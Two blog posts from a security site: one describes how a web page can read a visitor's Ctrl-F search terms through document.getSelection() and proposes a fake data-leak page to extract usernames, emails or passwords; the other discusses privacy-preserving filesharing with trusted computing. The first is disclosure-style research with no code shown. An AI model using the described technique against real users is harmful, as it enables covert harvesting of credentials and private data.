hack0r.net


I know what you’re searching for…

Posted in Computer Related,Privacy,Security,Webapp Security by n00k on the April 19th, 2012

Didn’t you always want to know what your visitors are searching? And I don’t mean searching like what he typed into google, but what term(s) they try to find on your website (e.g. using Ctrl-F).

The idea is pretty straightforward: If you are searching something on a site, your browser will highlight what you are searching for (at least the first hit). So it has to somehow fiddle with the representation of the page. The shadow DOM seems to be presenting itself as a target for this one. For those who have never heard of this I recommend Glazkov (2011). In short it is a way to create and modify elements hidden in the DOM; frequently used by browsers to draw complex items like media player controls. After some reading, trying to find out what the API might be, I stumbled upon document.getSelection(). I didn’t really thought this would work, but in fact it does. Well, at least in Firefox. In Chrome the user has close the search widget to make the searched term available. And in Opera it doesn’t work at all. So what do I mean by “it works”?

Firefox highlights the search result on the page and handles it as a selection. This enables the site to have a look at what you are typing in your search field. But this raises one drawback. The getSelection method only works if the searched term can really be found within the document.

To solve this, a pretty straight forward approach sprung to my mind. I could just generate dynamic content providing all possible next inputs. So I basically generate a base set of printable characters and wait for the user to start his search. Then, as he is typing, I continuously check what the user has typed and append a list of strings to the document using the user’s term and postfix it with every printable character. As long as this happens faster than he is typing and he types consecutively, not changing letters within the search term or at the beginning, it works. Such problems could be tackled by generating more letters in advance and also add them within the words. But the general users behaviour should be covered.

A very simple proof of concept can be found here.

You might wonder by now why this is interesting at all. We have stored all our data at social communities and google knows everything we search for anyhow. This brings me to how I initially got the idea to have a look at this. Once again I saw a tweet about a hacked site, that I am registered at and the leaked accounts were presented at some random pastebin page. So I went there and did what? Of course, I searched for my email address, user name or whatever information might indicate that my account information got leaked and is now accessible for everyone else.

In this scenario, all they can find out is that I am the owner of that account I searched for. No harm done, except some privacy issues if combined with some more snooping. But what if an attacker generates user IDs on the fly based on what the lured user types? Thereby gaining new information about the victim’s user name at site XY or his registered email address, depending what information is presented to him in the fake leak.

This could be taken even one step further. The site could only present numerical user ids and corresponding passwords. Done as a targeted attack this could reveal the user’s password granted that he is careless enough to type his password into a search field of his browser. But the inhibition threshold is probably much lower, because you type it into your own browser not a search function of some site or a search engine.

For those of you who really had a look at the demo, probably two questions/remarks arise.
First question is probably: Why are there 5 divs holding old selection predictions? That is caused by two factors. On the one hand more than one div is needed, because once the found search term gets replaced via JavaScript the selection will be an empty string. On the other hand fast typing will cause fast replacement of the divs and make them error prone, especially when deleting. Still there are some cases in which the script loses track, but the enhancements mentioned above should cure some.

Second remark would be that the generated text is not very carefully hidden. Well, first I thought about leaving it completely default text and therefore easier comprehensible what is going on. But then again I wanted to make it at least somewhat less obvious. Sure with CSS or IFrames or whatever is up your sleeves you can hide it completely from the potential victim.

By the way this also works with Pentadactyl in Firefox and Vimium in Chromium, when searching by “/”. This makes Chromium users using Vimium more susceptible to such an attack.

Popularity: 94% [?]

Filesharing 2.0

Posted in Developement,Privacy by n00k on the April 1st, 2007

While the Informatiktage 2007 I got in touch with the presenter of trusted computing lecture, which was based on his diploma thesis. He told me about some ideas, how trusted computing may be used to secure some privacy, for example in filesharing. Normally you would use trusted computing to certify that an application is doing exactly this or that, but why not using it the other way round and certifying that it doesn’t do something, for example associating an ip with a file or other kind of logging. Since I am not yet that much into trusted computing and didn’t get all the tiny bits how to guarentee such a behaviour, I will not try to explain it in greater detail now. Just plainly use trusted computing to certify that the counterparts software is not logging anything and maybe supports some techniques to obscure something.

Some security measures we have been thinking about, that will be needed additionally, to disguise the source are:

  • Naturally encrypting the traffic, so there are no conclusions about the content transfered.
  • Generating fake traffic to other clients, so it is not possible to know which clients really did send parts of the file. This only works if the faked traffic is at average as much as the the one generate for downloading the file at a per client basis. If only one or at just a few people are sharing a file, especially if it is big, this kind of disguise is pretty traffic hungry and not very applicable.

Nevertheless, I think this is a pretty innovative approach. And when I have found the time to get a bit more into trusted computing and peer to peer networking we will hopefully start this project.

If you got some ideas which may lead to some improvement of this project please contact me. Or if you know this won’t work cantact me too, but please also explain why ;).

Popularity: unranked [?]